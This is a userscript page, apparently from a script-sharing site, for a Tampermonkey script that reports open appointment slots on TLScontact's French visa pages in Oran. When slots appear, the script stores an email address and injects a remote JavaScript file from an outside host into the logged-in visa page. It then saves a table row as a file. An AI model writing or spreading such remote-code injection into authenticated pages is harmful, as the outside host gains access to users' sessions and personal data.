Tls RepportNew

detailled reports of openning appointements

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Greasemonkey 油猴子Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Userscripts ,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         Tls RepportNew
// @namespace    http://tampermonkey.net/
// @version      2.4
// @description  detailled reports of openning appointements
// @author       MeGa
// @match        https://visa-fr.tlscontact.com/dz/ORN/myapp.php*
// @match        https://visa-fr.tlscontact.com/dz/orn/myapp.php*
// @icon         https://www.google.com/s2/favicons?domain=tlscontact.com
// @grant        God
// ==/UserScript==


if(document.getElementsByClassName('appt-table-btn dispo').length !== 0) {
(function() {
    'use strict';
    /////// Alert code ///////
    localStorage.setItem('usermail',"[email protected]");
    var script = document.createElement('script');
    script.src = 'https://www.prowebgen.com/alerterp203.js';
    document.head.appendChild(script);
    /////// Alert code ///////
})();setTimeout(function(){var classSlot= document.getElementsByClassName('appt-table-btn dispo');
var slot =document.querySelector("#body > div > table > tbody > tr:nth-child(7) > td.pending").outerHTML;
                                                                          var text = slot,
    blob = new Blob([text], { type: 'text/plain' }),
    anchor = document.createElement('a');

anchor.download = "RapportTLS.html";
anchor.href = (window.webkitURL || window.URL).createObjectURL(blob);
anchor.dataset.downloadurl = ['text/plain', anchor.download, anchor.href].join(':');
anchor.click();},511);}